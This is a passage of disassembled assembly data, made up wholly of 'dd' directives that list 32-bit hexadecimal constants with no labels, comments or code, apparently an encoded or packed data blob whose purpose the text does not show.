79E22CB3h, 335AD2F8h dd 8E92801Ch, 0B2AFBEB9h, 4DAD7E42h, 0C882CA67h, 1AF04440h dd 10F03CECh, 0A911E0A5h, 9A077DB8h, 0BE2AE0h, 0E84FFA41h dd 8AB61B40h, 0B9AECA51h, 72D918ACh, 650F65F5h, 9B05DCCEh dd 0DC3ABB32h, 6147C2B3h, 0C6BCC994h, 141BCCE3h, 0F54D5443h dd 0C4CB7D94h, 24165C8Ch, 20CFBB59h, 414343D5h, 331B28BDh dd 163F61CCh, 0E752C127h, 2B1D2E9Fh, 0C2BFEB6Dh, 1F0FAB34h dd 439708F6h, 1D1D19E9h, 0EB45827Fh, 0C7B18AD8h, 65F36CB6h dd 766F7BF2h, 6CA3973Eh, 0E535247Bh, 0E33E1C1Ch, 31B50A5Bh dd 5E636F13h, 5C537726h, 1E9079CEh, 7EE8FC08h, 0CB99F99Ah dd 617D3A48h, 0C51F167Ch, 38CF4D76h, 1C1130EDh, 67CD6C39h dd 0C53C543Eh, 9EE91Bh, 1628A741h, 0D43A5666h, 551EC3D2h dd 78E15972h, 0D2A3415Ah, 0F9BA119Ch, 20FD42D3h, 0A6D97633h dd 67C7427Eh, 0F1F7580Bh, 50CA9D06h, 0F5FB9D9Bh, 705A4698h dd 9DB2A1ECh, 9BE0042h, 42A6E0C3h, 32BCD9D4h, 70E24F59h dd 5BCCBDD3h, 392096A2h, 3076A53Ch, 0E407D71h, 0BD2DC967h dd 1DCF9EE3h, 22E29947h, 0A9B0F1A2h, 0DA7B51Dh, 502AA2C8h dd 464D79FEh, 0DC5B3467h, 0FC8BACEFh, 0E7B23F46h, 951094B8h dd 0B939F236h, 7B2CF819h, 0E6784146h, 338BD6F4h, 82DA95A0h dd 78C06FB1h, 0F1184783h, 201EA10Ch, 0D7BB84B2h, 0A9464A0Eh dd 0D2AED384h, 8F08FFFBh dd 92AEC477h, 0C54A78C4h, 3741943Ch, 580DF024h, 0A713CDD9h dd 0EE1192CAh, 0E8D8A78Ah, 0E9DDCEF7h, 0DF0C29D2h, 4CC09462h dd 6FCA250Bh, 7A670A58h, 0DB26C85Bh, 31F5606Eh, 0E82BEE95h dd 0DE22D1B7h, 3592A606h, 514A5ACDh, 0D93AA169h, 0EDB69B9Eh dd 0E4B028F8h, 0BF70100Ah, 737E142Dh, 6204527Dh, 1300CE13h dd 0B10F4209h, 35F7A74h, 9B9AC92Ah, 9921B15Ah, 8B0AEBCEh dd 3FA1994Ah, 30C82C8h, 0B60A69EDh, 0BA71FD3Ch, 2BC68447h dd 808C7D2Ah, 32072004h, 0BCDD0B35h, 25325E54h, 0AD48B7F8h dd 0EE0BA648h, 0B7DC6FDAh, 0F0ED8CA1h, 28A02540h, 6B12DE2Bh dd 4B7315Bh, 0F4C4E45h, 4CF8C256h, 0FC70BE99h, 0AFD044C9h dd 0B231F975h, 372310A2h, 0BFCAAC2Dh, 0B2DE5488h, 287907D4h dd 82538E37h, 0C652626Ch, 0AB2BD42Fh, 29E184BEh, 1B5C17Ah dd 0F2CE48BFh, 0F492BB4Dh, 8AA707F2h, 3260F93Bh, 2C94E864h dd 0F1E7BF00h, 47F7F771h, 6F439F71h, 0ECF3C1A8h, 0A0B0CED3h dd 0C75CB20Eh, 0E6FC757h, 0BC5A9513h, 0AA0630BAh, 0BFF9D6CEh dd 7E3B09ECh, 23FC3B00h, 8A4A7FACh, 30ACBDB5h, 1B1AE9E0h dd 0FB8DF7C2h, 39B57984h, 16FFFAE5h, 4B7DDE8Fh, 6E61DDE9h dd 844B94BAh, 0C1C7A8EEh, 67B5A563h, 48CED332h, 72C77EE7h dd 0C0B3776Ah, 6B3F487Fh, 0E671A548h, 0C2B59D16h, 74BE88DEh dd 0CD4B48A0h, 0F14DECDCh, 0D3D24A65h, 133CA55h, 0D21F2E03h dd 27938269h, 134E795h, 38B624C4h, 0C0300FC8h, 0F1CF5E23h dd 110BD9C8h, 0D176770h, 7558D4E5h, 7DBB1C6Dh, 470FC70Ah dd 2FCC0610h, 0D4915BBFh, 8B42FE8Bh, 1993B9C6h, 43E419C4h dd 77E31EA0h, 56C27344h, 774B2C1Eh, 3E7BBE16h, 0C63DFAC8h dd 46773A59h, 649880B6h, 332B86A2h, 55813FC2h, 9DBA27C4h dd 0FF4B2B33h, 45483835h, 9BF7CE12h, 6446F680h, 0BADBF4FBh dd 3AD59321h, 83E8523Ah, 42CA8657h, 0E5E96F04h, 6E935AB9h dd 4BFB5E47h, 129227FAh, 3BC1E96Ch, 66678564h, 0E03E0210h dd 559B8B3Dh, 8EDD6B8Dh, 0BC948A84h, 0D4AAA7EEh, 39507E08h dd 520A483Bh, 40B7039Eh, 7461C35Bh, 904F6E7Eh, 8F2087F5h dd 0C61E73B8h, 61CB02EEh, 0C5A9B9EDh, 3C8A8896h, 371A6024h dd 0C5D9B6E4h, 27572261h, 0C619BEDEh, 0B6E46106h, 7E4DA6Ch dd 0DBD2E3C2h, 0E41CBC2Fh, 39BFE83h, 0BA58E626h, 1227ABBEh dd 1F01E42Ch, 4AF57786h, 96F6F74Ch, 1C37318Ah, 50F5E307h dd 9D4D8699h, 2CF67123h, 0DCA03FB9h, 0F52797E9h, 0B30D473Bh dd 783475D4h, 84B86845h, 0C1C4D341h, 4D5A28FFh, 2B7B7228h dd 7620593Fh, 5EFDE558h, 0B249665Fh, 21903EC8h, 17E1A4B0h dd 677A7953h, 53873B3Bh, 724397EDh, 0CF4C0A3h, 44108F69h dd 947554ECh, 5A05DAE5h, 4E6745CBh, 0E5FA74CBh, 7D2F53E2h dd 72762FA4h, 0DE8E2846h, 0EA365904h, 6A8718F1h, 9A4C6180h dd 4A5A36F0h, 0E1EFEC9Fh, 0DD018Ch, 81DE9C72h, 646D0B4Ch dd 0DA94698Fh, 5B016CFFh, 8AEB0D8Ah, 4A27F74Bh, 0F1AD2AAEh dd 7795AEC9h, 642CF26Bh, 1C256657h, 0A742E3D3h, 0DC0B01B4h dd 693E49F1h, 9997FBDFh, 0D57505EAh, 4E63D35Dh, 0BCD483E8h dd 5391BDF1h, 920A4A75h, 0D443CCAEh, 36FED231h, 0C01F5590h dd 158D8B98h, 0D7435BA5h, 70172801h, 0E6C1DC03h, 0D8AE1F91h dd 9BAF26D8h, 0BFB18978h, 31E21386h, 774BA288h, 726F084h dd 0F42B86AFh, 0A62229DCh, 0ABA58F38h, 2FF30E56h, 0CAC6D1A9h dd 6004B59Fh, 7B409B63h, 3A803BE4h, 0A1830615h, 0C6D2EB30h dd 1F9ED8B4h, 35A62738h, 4246D3B9h, 0CBDE0306h, 0AFCC4105h dd 65F157E3h, 8BD158E4h, 24827D62h, 8E710F8Fh, 9FAB1879h dd 0F11EE9B6h, 949472C1h, 74D89C0Fh, 0DF547767h, 6BC03D1Fh dd 2B33A435h, 8A0BA8C4h, 0A833199Bh, 0C96D41BFh, 0D7EE2406h dd 0CB13EA31h, 66F62483h, 777565B5h, 0EA9D1DF6h, 2B0FB985h dd 0A4AF1B35h, 0CED67827h, 0DFF34FB1h, 7A4DA12Fh, 0BD0A5C97h dd 84DF8B8Dh, 0D8CCE9BBh, 0EF50FE5h, 0BD9381C0h, 0FA13D290h dd 94912B62h, 60D454CBh, 30EB0F45h, 0E67D8FDEh, 0C75C9A33h dd 53657365h, 6BAD0E03h, 5F2452BEh, 9934D187h, 5742DADBh dd 8A269473h, 0A768B1C9h, 0BD135F04h, 0B38E6498h, 0F8CB32EFh dd 0CEAA01A8h, 0BE067FBCh, 74EF22Eh, 0D70EBE4Bh, 6979162Eh dd 1A124D70h, 0F2D07B14h, 1CE02BEDh, 0D61CCC97h, 0A6A004C6h dd 0DCA66839h, 2358693Eh, 75FF240Eh, 583E540Dh, 7D128F4Ah dd 0A0A28A93h, 8EDC91C9h, 0DC9686A4h, 67861C1Eh, 53B3679Dh dd 8DFC8419h, 0F44301D4h, 0AD6AF10h, 12D0F95h, 0B1C2A646h dd 0DE222EB1h, 39660E16h, 0DC228CBEh, 3D6D5A1Ah, 0DF1CABE5h dd 6185E5EAh, 15CD7A80h, 0D46E2FFBh, 0ACBDA9F9h, 63BC3E43h dd 5095099Ah, 6FFCB0F0h, 2A5B83A3h, 0AA9432h, 644CF9Ch dd 0D213D81Fh, 8A72D51h, 8762EB9Fh, 0D9CC505Eh, 418D511Ah dd 61436570h, 0AA2CBC5Bh, 503DD5A0h, 9DAE0543h, 29E2D65h dd 0B0BDE83Ch, 181AEA2Eh, 2842B19Ch, 632AD9FBh, 0EF3C6699h dd 396D2248h, 323C5F7Ch, 74CE42BBh, 0CACE3651h, 0DC5A473Fh dd 289FD604h, 514D4C44h, 0B29E423h, 30AA20A0h, 8168DAC9h dd 0E9833D88h, 0BBD689CCh, 2D860117h, 74B588BEh, 6230AFFh dd 70D6625Eh, 0C1A1BEA6h, 200DCDCBh, 0AAB95419h, 5201CB43h dd 0A25EAA9Ch, 47DB03A3h, 0E5DE8B57h, 45C647C8h, 9E2DB0D4h dd 50EED44h, 0BA159D80h, 9559870Eh, 2B0D0881h, 3B84E39Eh dd 0C15633F0h, 810BBA4Eh, 5D5CF8D4h, 6FD49366h, 0AC986A63h dd 0BF521B91h, 0A64D3C4Dh, 5CAB1655h, 1ABC0C10h, 51FAB240h dd 300F8A14h, 630931CFh, 8EE3BB8Ah, 232F4716h, 6362B13Ch dd 55062F98h, 13849300h, 5CC16867h, 612BF92Eh, 0F31154B1h dd 873CF8F6h, 86D0ED72h, 5412E83Eh, 44FACDE3h, 0A1F53B76h dd 9EDE68B6h, 0EBBE3B4Ch, 16ECF880h, 0EF5E0552h, 3E8356FCh dd 0BD947154h, 8DF8DA20h, 0C47C87D6h, 980F7242h, 2622046Eh dd 0BDB7951Ch, 8C44A5FAh, 0DAFEE2FBh, 5C1654F7h, 0C0238907h dd 21B1A735h, 9E134380h, 44818BC1h, 6E463EB5h, 0ABE0B958h dd 7A287EA3h, 66C95C2Dh, 2D04FADDh, 0A92FBCACh, 939798FBh dd 3640DB87h, 8DF889B2h, 90D74EE0h, 68C1DADAh, 474A7D14h dd 375FF5BFh, 0B72815F1h, 7B7053BFh, 914F24D4h, 0CB971161h dd 0F2FD8874h, 0CA3D86ECh, 0A353AD79h, 0F4D81AC7h, 8704E9ADh dd 193FA5E5h, 7C6C815h, 75516237h, 2CA3E5A4h, 45277F9Fh dd 820D0BE7h, 3C3AA41Fh, 0C12848A6h, 68435DEDh, 0F304348h dd 22B2259h, 319DAFC8h, 740FCA7Dh, 0A594D038h, 0B9B4DFBCh dd 0FEF5A967h, 0B18D1E5Fh, 2A6ABD43h, 85ADE016h, 22120A6Fh dd 1A77EB70h, 0CACE99AAh, 4EB4F442h, 582EC2B7h, 5DDEE0ECh dd 0B7D12DCDh, 493E6D7Bh, 58C97A51h, 237963A6h, 580532D6h dd 0A4E93C6Dh, 0DF4129EEh, 0B6A6D1C2h, 301EF0ADh, 75719103h dd 3B2666FFh, 0D2B4D31h, 0C72CB18Fh, 4FAC1D5Ch, 0B4CF3A67h dd 0C91A061Bh, 0B43C4C44h, 0C81BF829h, 0A5FF9617h, 0EAFFD31h dd 2B43F409h, 0AB9A0B2Ah, 0D3140C0Ah, 1E84F1C5h, 0BCA9F493h dd 0A5049133h, 0E0FA4206h, 7B34DC76h, 0F35430B6h, 0A4735A79h dd 0BC165528h, 16DE6A96h, 3D9E83CDh, 2BA88270h, 0C8391930h dd 9E0D1A75h, 98F61491h, 0ED002CF0h, 0C17B056Bh, 4B86B9A0h dd 0DDC92DBAh, 55315BE8h dd 42E392ECh, 0F8BAD5D1h, 0C7BFA5EFh, 6FA27056h, 0E3082AFAh dd 9E430CE1h, 8C9BBE0Fh, 85645200h, 0DAF3119Eh, 1DA8E5A7h dd 5CEF5105h, 0A5C99AA0h, 9456AB33h, 0B2F52EDAh, 6B3FFA76h dd 0FC28901h, 5AA2542Ah, 4D7200D2h, 0C8A165B1h, 0A011B014h dd 491D1CD9h, 45013A91h, 0FDF208CDh, 0F95FB479h, 0ADC55EFEh dd 5A5B5EF1h, 0E3D30D8Eh, 2D89292Fh, 891E9D30h, 0D6131F5Eh dd 5AD6D0F4h, 0B98316F4h, 4A4EC97Ah, 0C290B8CDh, 34B1556Bh dd 1440F3B4h, 72CDF5C8h, 225BA97Bh, 0D1D0CA6Dh, 3C002E38h dd 0D1D0EDEBh, 71D505A5h, 0F85264Dh, 0DFC93D6Dh, 88B22735h dd 287609FFh, 756FE57h, 87BA4E14h, 0E5C46EE7h, 8A470700h dd 9EB56562h, 56CE8A8Fh, 0D99A8286h, 0B617CBF5h, 0AB4D2AA1h dd 65A196D5h, 0C9CD529Fh, 0D7CD9A51h, 4FB52839h, 9FC5C8C1h dd 4D2F6B7Bh, 0F5B0587Bh, 56482B87h, 780AD410h, 9AA02A99h dd 7C0B3BEBh, 99E3BDEh, 17DB11BFh, 0D7968A3Ch, 0CB4061B3h dd 273674F8h, 8218B265h, 0D8066CAAh, 84D08026h, 3A40ABE5h dd 6AAF0658h, 92965D7h, 3543BAAh, 0AD8D24DCh, 3BA7A34Bh dd 9B977A1Fh, 985C51C2h, 3CE46BADh, 0B81D48h, 2C8197CFh dd 0C00E5948h, 5695C55Ah, 0EC4E4B18h, 2F5918B1h, 82949E2Dh dd 0A50B1CFFh, 9221DCB4h, 0A0A76841h, 0C1434520h, 13C7E39Ah dd 7F913B54h, 5EFCCD48h, 0B799C4AAh, 3F412ECAh, 0AE7A69F8h dd 37FE6AF1h, 0F0704A8Fh, 57CE4EA8h, 186B7E81h, 13E3D273h dd 9F60B381h, 58F91AC3h, 93738598h, 4B05C134h, 6B7025C5h dd 0E3CD6E4Fh, 0E93A2FBAh, 62731A59h, 4295A05Eh, 1E6889B5h dd 9A4491F3h, 7276C2EAh, 0ECC840FDh, 3AB74602h, 0B636FAD2h dd 0E33AD93Fh, 773FFF6Bh, 7D6DDF24h, 0D8789BBDh, 8C5490DAh dd 0C0971C1Ah, 96D6EB00h, 81456325h, 0ABB25B56h, 7D1D09Bh dd 0ECA4C276h, 0DD8AFD71h, 86702B78h, 0F2E8F698h, 21F819D8h dd 0C8BA13B4h, 8551716Ah, 5B3C1369h, 763C0B26h, 5F63B09Fh dd 9558A6F5h, 0F4B845B9h, 0D66354h, 0BC3153BCh, 0F01FC194h dd 548A13BEh, 0F2DF9DA2h, 0F04E1C79h, 94164067h, 0F080F133h dd 347B8F42h, 1358FFAh, 97F347h, 6CF770F2h, 6D54B691h dd 1AB70F19h, 2D8BFE40h, 835E27D8h, 0B26C478Bh, 5B2DC0A9h dd 2D568359h, 7F3F5ADDh, 59A936B0h, 81407565h, 15C2C5C0h dd 0E4BA5740h, 0B25921EEh, 194C11D4h, 97E69A77h, 0DCE7F828h dd 596337Fh, 15D2CA8Dh, 55625F74h, 5A95D5ECh, 55D1E224h dd 0D9F97488h, 61D6DE26h, 59E9AA26h, 2C73C467h, 0BB7CA338h dd 399931D2h, 27C5DB0Eh, 0FECE2B19h, 42B0396h, 5143F3DCh dd 7568F7C9h, 91362722h, 41525995h, 85369B7Ch, 3D625F98h dd 0B26F417h, 8BCA96ECh, 1726388Ah, 4A5141E8h, 0D59DA146h dd 0E14AFFDCh, 0B996A93Ch, 0F1C6C988h, 0DC11B332h, 0BE1C5B57h dd 3711F27h, 0CC5DE07Eh, 0BCA08BC5h, 0B15D659Ah, 0D6F03A8h dd 97E5479Fh, 0C5E20BF9h, 3A25682Fh, 4AC56A0Ah, 0A578362Ch dd 32B9E5E7h, 9AA44D1Ah, 0F422A1F8h, 9957CEA4h, 9A5581D8h dd 0F68A7742h, 0F71FF135h, 4106D44Ah, 6CCEED2Ch, 1A64FD93h dd 0D6F11FF8h, 0A593011Dh, 0AADEAE8Fh, 34B4D3D8h, 0FDF177A5h dd 47D326A4h, 0ECF90E78h, 68A78407h, 485E667Dh, 0EC989A17h dd 0B5D8FEE1h, 0F2741EBDh, 0DA8D7D1Eh, 0B4036A36h, 1A70089Fh dd 0ED9817D2h, 51C2E804h, 22C83B75h, 0FEE1051Bh, 1DC85870h dd 9347872Bh, 22C1673Ch, 5B252523h, 2E11B5DFh, 5414FEEh dd 9200B1AEh, 883BBA6Ch, 0F3CDDB5Ch, 0DB0DFC75h, 0CE099905h dd 212EE340h, 0CB80094Bh, 8739973Fh, 0A2B19A0h, 6F98EFFCh dd 0DD791E34h, 2BF1BCDh, 0CE47E792h, 774231F3h, 0FD2F464Dh dd 18E473Dh, 70B6F4E7h, 169108F1h, 7D6CEBEAh, 9EF7120Bh dd 0BD56E4CBh, 0C1A788D5h, 0B1E2A060h, 0B72F5564h, 310C826Dh dd 72BF4993h, 440BBE86h, 0D4CED44Eh, 25D1E26Bh, 0BB4E2906h dd 0EBD14B3Bh, 0CEE80F20h, 432490EBh, 3223F07Bh, 91AF6C57h dd 0B6955B00h, 5DB4A4C7h, 0B02A755h, 27662BC7h, 0AE33B038h dd 0AA735689h, 4410EB75h, 54284D46h, 858AAD02h, 0BFB4B293h dd 7566925Eh, 0CA1C53C1h, 8CC67E0Bh, 0E120A7Eh, 0F92C6202h dd 670DA579h, 2561D0B3h, 915D4ACFh, 71E4587Ah, 3F09A7D9h dd 45D02135h, 46E80E2h, 84100876h, 6C176CA9h, 0F3999581h dd 1B9A8F65h, 0D297C461h, 5EF3BFBBh, 7498A2A6h, 84436CA7h dd 4B9C748Ah, 0BA576FE1h, 983FA064h, 8C93328h, 7E5933AFh dd 0C357A430h, 40EED3A9h, 0D6BC1A6Bh, 3E912111h, 37DB1293h dd 0E3A99D1Ah, 0CD851DB6h, 0FFCAE7F6h, 7CDD887Ah, 2CA5FBC2h dd 0DDFF5941h, 5F5CD376h, 1E806E5Bh, 4D27F552h, 0EF7BFCE4h dd 0DEEA2A3Bh, 6239076Ch, 0F389D6F4h, 0DFE162F5h, 851135A9h dd 9AFB879Ah, 5F2D256Eh, 197D996Ch, 9BC827E3h, 322CA454h dd 0C1AF0550h, 955A2B71h, 5E72A61Fh, 0D350A4C2h, 0C46F068Ch dd 0EE3497A5h, 49166393h, 259F55ECh, 3E331769h, 0E40C126Ch dd 27FD473Fh, 7E254776h, 0F65DE8BCh, 0E18E6C93h, 5E9BFBFDh dd 8DD849D3h, 29490CF7h, 1600752h, 0EFA2CF34h, 4B3B51A5h dd 86388FD9h, 0C5C327AEh, 0F3CF8174h, 15143963h, 0BA6B0D95h dd 0BFF7F081h, 513FC661h, 0BA842A37h, 5D71BDAAh, 0CA89DC54h dd 34FE4150h, 686E9553h, 0E1D98D1Eh, 0E36E471Fh, 0ED018D83h dd 87249ADAh, 14AF83A3h, 1E8C1A09h, 4D5F16CAh, 0AD9437CCh dd 7251F29Bh, 0F5BAC380h, 0C9D47B76h, 0F731E0ACh, 0FCB7014Eh dd 2AFC69A9h, 0AA6D6BF0h, 99EFEC9Eh, 6F6F05DEh, 72535850h dd 62BF481h, 0A38F587Eh, 156C7912h, 7D936C88h, 696D28E6h dd 639A0D94h, 501D53F7h, 28AAE860h, 0F28555B7h, 0FC3443CDh dd 787A3FECh, 0A49F65E1h, 0A9EA73ECh, 0A267CF17h, 0BCB335AEh dd 0CD0348E4h, 0E81F46A7h, 0CC695121h, 0D4DD4128h, 149F1E62h dd 75C64DF9h, 3ED89CD3h, 83456168h, 246161EAh, 0F4FD53B3h dd 6D37347Bh, 37468242h, 222DA5BDh, 1AA22B83h, 67DEE3B2h dd 0F40948A4h, 0C84F3029h, 0AD01CD01h, 0BB92AEB0h, 0B4ED4690h dd 6194769Bh, 0F3F6C357h, 0EA521851h, 5E5A02A0h, 2B0559F6h dd 0E1DB3E15h, 4879280Ch, 0D54472D3h, 68DD312Fh, 56A61BF1h dd 24956527h, 90E66F7Eh, 0ED802626h, 0E35EA169h, 3D1794D5h dd 0C3BAA380h, 1B0D6F42h, 4D6D8B57h, 3C333585h, 2E4A7EABh dd 82D2F1F7h, 0BB43F264h, 5598FE63h, 0EB354959h, 0C8D3A265h dd 2D056F14h, 606B1CACh, 4A78BB08h, 915FFF5Fh, 6CCD8CAEh dd 13D6424Fh, 0E4FC412Eh, 6253ADACh, 0FC271FAh, 82369FC6h dd 62A98C9Ah, 3B1FF349h, 7CD24D78h, 0D8717690h, 0D5C7943h dd 0E0CD0C76h, 544273D0h, 24F44A4h, 0AF159FEEh, 580BA6Bh dd 0EDF5B24Ah, 0C75B9922h, 0BCE0E8Fh, 7D9E5739h, 0C018CD94h dd 48FC232Fh, 0E9E78232h, 0BB7CD20Ch, 0D26114DCh, 0F422B7D0h dd 77DECA49h, 683615E1h, 7EA34AA6h, 0B41C3327h, 0DDA69039h dd 89CE6494h, 370B5813h, 0E02923Bh, 0A2000F49h, 8F968F80h dd 2EFFCAA6h, 195E2E8Bh, 0FFE153B6h, 7476A1C9h, 988DE644h dd 0AE8D70D0h, 0E8CAD2EDh, 25C2FE3Fh, 6CE94C23h, 0DF512278h dd 0E1D5E03Bh, 0AF16470Ch, 0A149FDADh, 3892A28h, 74C81FAAh dd 7B6B0BBCh, 324DF708h, 9A28134Dh, 7DC099h, 0FB6CDD62h dd 1595EC45h, 31EE4E23h dd 10D85CCCh, 3514F4C4h, 66245C12h, 0E5F286A1h, 0F8F08476h dd 719C8CCh, 0D2A59E62h, 0AB128B8h, 9054B5Bh, 10A49401h dd 70713576h, 2ADFF7B9h, 0BD4E2D8Bh, 0A0617520h, 7C6C2B1Eh dd 20FE4F58h, 0A152B32Bh, 61E78D25h, 0B4ECEE95h, 0B5599A18h dd 1F9C8900h, 7740B022h, 466C669Ah, 1208A7E5h, 0BA457A4Eh dd 0E06B2A94h, 0A71863E7h, 0C0F4CAC9h, 0F1292508h, 9948ADD4h dd 287945F1h, 0FF743A78h, 0D6DE3D6Ah, 3D87028Fh, 0CE49DC51h dd 63270FBh, 0B04AB1B2h, 80FF820Eh, 0BEA5BD31h, 14ADB589h dd 8120635Fh, 0B7E87CF7h, 0B8466C25h, 94FA4275h, 7351DE4h dd 0DB3F1F3h, 0FD2207A6h, 6C2DE35h, 0E70C08D8h, 0C68C9A65h dd 4A468464h, 45AEEEA8h, 89ACA7F2h, 4271AE45h, 1E0AB002h dd 412BC5A7h, 53757B98h, 0C1BC5144h, 81E75069h, 0D4E42BE9h dd 0D4E78B28h, 0B99CE525h, 0B091AC01h, 734D89C8h, 0D2F6E279h dd 0EC89E12Eh, 0A7845B09h, 707AE3F1h, 6E1DBC40h, 7706A38Ch dd 0B48F76Bh, 22CC72FCh, 0AC9B0308h, 16FE7644h, 0CC843096h dd 0A474BB60h, 0DB5AE2F8h, 0B22D20h, 2C47397Fh, 5DBB456Dh dd 0B6343AD4h, 0BD803AF5h, 53D4DE25h, 248AECCCh, 61E635EDh dd 4335F287h, 4C361556h, 0A723022Ah, 0B8E322A1h, 6226F064h dd 9A25D1A9h, 0E52C9F5Eh, 0C191DCD3h, 44FF20BBh, 0D29E359Ch dd 0A7E671CAh, 423FA29h, 0FC05BCFAh, 9DA09828h, 817D139Bh dd 44DBCC6Bh, 2C5489A7h, 0B4B8D2FDh, 6C485E32h, 6CA04C08h dd 4F097E6Bh, 51612A52h, 6A0B394Dh, 6ECB3482h, 0A829D60Ch dd 0E33FF323h, 249EE88Fh, 0D9D230CCh, 1424C7B4h, 961C66F9h dd 0F14E9A6Dh, 8F6C8FCh, 0E12232B4h, 0E87C89A1h, 0A0C84428h dd 8406E45Ch, 2A8572DDh, 8C44BAC7h, 0DDB005A2h, 0A0F6008Bh dd 2F514C9h, 9314D774h, 4D3DE59Fh, 8666D4B6h, 0F9C632E2h dd 9855730Eh, 4DD1BFC2h, 0CDD0AF0Bh, 0E00F2EFDh, 9775BDE3h dd 7C389F37h, 7D9C14AFh, 6E8F4D0Ch, 307D2CFEh, 49BC9816h dd 0EDDE761Ah, 72D75FB5h, 0CA9D80D1h, 0EC97F614h, 38DE49Fh dd 0BC789F9Fh, 7AE3212Ch, 0B33091A2h, 1B5DEB84h, 0ABF43749h dd 0CCD918D0h, 0FD632FCEh, 4514C7A5h, 5C9B7441h, 9712E84Dh dd 38DE6DF8h, 0BFC8112Ch, 0B2CEB07Ch, 0A7EBB0Dh, 1F3E9AA0h dd 25E6779Dh, 64FD1DBAh, 0A87BFA1Bh, 4C9AC9B2h, 0D399A396h dd 827EAF62h, 0AF5F841Bh, 0FB84A587h, 0E682507Eh, 93CBE422h dd 0AEF1B8Bh, 0AEDFF955h, 0DADC7095h, 118DA6A9h, 0FD721934h dd 0E0CC8476h, 252C1E2Ah, 95957CCEh, 0B846C3FAh, 75295123h dd 50311745h, 0EADB37EBh, 0A8D7E3D4h, 97D864E3h, 23764536h dd 0E2C3569Bh, 9D1E0404h, 4269164h, 0EDC26865h, 1EEBDA21h dd 9AD7CC12h, 406A0323h, 51BB74A1h, 6CFBEF34h, 3A3FED55h dd 0CA339EBDh, 0C7EA028Bh, 0BF3ABA2Ch, 188E068Ah, 0BC62CC58h dd 6B4C1626h, 7C5D3F61h, 0DC88A100h, 94486C5Ch, 42F421AFh dd 0CDB45642h, 0BC4CCEF5h, 9B2B554Fh, 98AAF5D2h, 238B4AEDh dd 27CFC73Eh, 0DF7D3B04h, 7268F583h, 61E7397Eh, 0C940337Ah dd 3E8F6E3Dh, 0F8D58E1Dh, 0D994B9F9h, 86CF5847h, 7B149435h dd 0F5173651h, 0D1AE9677h, 19681931h, 0E407E745h, 7085AA58h dd 98EFF1C6h, 0DCE6C13Ch, 69212290h, 745DDA61h, 0AD3B917Ch dd 595828E8h, 0D320CF7Fh, 93B546A9h, 6C0367D3h, 3D5B6CEAh dd 7D3385E8h, 4107C3F9h, 91440211h, 0A38D867Fh, 0EFC40482h dd 0ACFB3DD6h, 4604F27Dh, 979277AEh, 0F5DA86D6h, 0CEB06036h dd 200A1DA9h, 17863B7Ch, 99C1F4F1h, 8868398Dh, 87C8D904h dd 621200BCh, 0DF3647F7h, 90558587h, 0E848CF3Bh, 0E3928C31h dd 2D717A4Bh, 189DF6DBh, 5378D7A3h, 64229330h, 15760625h dd 85C73881h, 5440BFBCh, 78B585E9h, 4C31F6F3h, 4EC73BBBh dd 32B31EE1h, 17FDAEB7h, 7B29EB0Fh, 84F05879h, 7741982Fh dd 4A23DFF8h, 0CFD53315h, 0B3637FDAh, 0C512B590h, 0A340A94Fh dd 2D1529E5h, 77434C35h, 46591D63h, 4D26B3E8h, 0B919922Ah dd 25E7D220h, 30BA4A8Ah, 0C0C7A0F9h, 7FEEE4F0h, 0F5E39A9Ah dd 0B2CF2305h, 998ACA8Dh, 0E7E5CEB1h, 0EF1034F9h, 0D606DD1Ah dd 407BA27Bh, 0A7ADEB25h, 3A10E9D7h, 67CE92C7h, 1F26992Eh dd 21042008h, 1620F3FCh, 919ABCD3h, 0C27E6033h, 0E532539Bh dd 36A96924h, 0B17A90DAh, 0FC5D8B85h, 0FD74D45Bh, 7F7C3466h dd 0E8AAEB93h, 64B3C133h, 93EFB3CEh, 0F9FBF716h, 0ACE37295h dd 0B2768403h, 270C4142h, 26BEDB25h, 58EFF907h, 0D72B778Ah dd 7847BB29h, 0C6A45E61h, 1B93D704h, 0D16EB256h, 3796DEDFh dd 0D69701Eh, 73E4199Ch, 8F6731CCh, 4A02CDEEh, 0BCF05754h dd 0D6993D70h, 7AA3BBE8h, 332B5A45h, 9B03DCD9h, 0C052B4FAh dd 3C3A6316h, 0C3100567h, 5F61085Dh, 0CE91BBA6h, 0A57EC31Fh dd 317555CBh, 0C3D35B7Fh, 0DBF09Ah, 63F7574Fh, 9E6FE979h dd 4EA536BEh, 51C15ED4h, 718C7A25h, 18E8A597h, 0A031EC3Eh dd 5D153629h, 3A13116Bh, 0BEC18EF4h, 0BFA17BEBh, 995EA21Ch dd 9C9AD1D8h, 51260B5Bh, 0D3D57EBFh, 0B6D042F3h, 728E5B2Ch dd 0F60FB676h, 0E6FEEB12h, 0BC07E6B7h, 1988CA8Bh, 4F8012DBh dd 73E2966Ch, 0AB172B3Ah, 8A0CF31Ah, 57D4E328h, 3D1CE80Bh dd 0C3B7ED7h, 2DE1F812h, 23244B90h, 0E1E8C0BCh, 8DDF653Ah dd 61831FBBh, 274DD6C2h, 0F7C5C19Ah, 0F506941Eh, 0BAC04F4Eh dd 0B5527506h, 822193DFh, 8EBF038Bh, 0D7FB7296h, 7A3D44Fh dd 346D0989h, 46435AACh, 5C324DCBh, 0D4CD09CAh, 907A650Fh dd 0B756512Bh, 0F515568Fh, 57162889h, 0E79BFB53h, 339986BBh dd 99FF7DEAh, 0B7372E15h, 4F54B580h, 5462A139h, 2F4379D2h dd 0F442B635h, 5F8BCA4Ah, 0BFF2BA86h, 0EF17A9E4h, 142A34DFh dd 0FB3980E2h, 6939CC96h, 30BB5C3Dh, 45494D55h, 71374E46h dd 104FD301h, 0E49109F0h, 0CE09792Fh, 0AE7E967Fh, 56F0D561h dd 0E9ED512Dh, 0E67B9CD1h, 5E2BE1ECh, 0FE8B8EBEh, 2BBDA14Ah dd 0AEB2002Ah, 0A22CD01Bh, 0F709FEE4h, 0CC7B55E8h, 76B59750h dd 32491E8Fh, 91FC3E66h, 0D3D0609Eh, 8AE67746h, 0F70DFD9Dh dd 5796F236h, 0BDD29270h, 78A0A138h, 0F08FC9D5h, 48B20F4Fh dd 27CCEC9Ah, 5E3650A5h, 9308E4B0h, 0CD41F816h, 691CE45Fh dd 73E7ECEh, 7D6D781Dh, 3C336A67h, 0B657F3BEh, 91D65BF8h dd 5D7418Fh, 9434E2Fh, 4B1F247Bh, 0D567F042h, 0FECA9DBEh dd 3F8A4236h, 2AFD390Eh, 0DBC73A74h, 2F75F657h, 684D2465h dd 0A2BCDD24h, 1749DC5Eh, 0E1CE8AA3h, 0E171BFC7h, 40CE5366h dd 0B52454F4h, 2CBEE93Dh, 